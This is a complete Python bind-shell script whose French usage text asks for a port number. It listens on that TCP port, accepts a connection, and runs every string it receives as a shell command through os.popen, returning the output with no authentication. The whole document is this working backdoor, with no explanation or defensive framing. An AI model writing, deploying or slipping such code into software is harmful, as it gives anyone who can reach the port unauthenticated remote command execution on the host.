#!/usr/bin/env python import sys, os, socket def bindshell(port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('',port)) s.listen() conn,addr = s.accept() while 1: data = conn.recv(1024) reponse = os.popen(data.decode().strip()).read() conn.sendall(str(reponse).encode()) except KeyboardInterrupt: s.close() finally: print("bye") if __name__ == "__main__": try: bindshell(int(sys.argv[1])) except IndexError: print(f"{sys.argv[0]} demande un port en agument")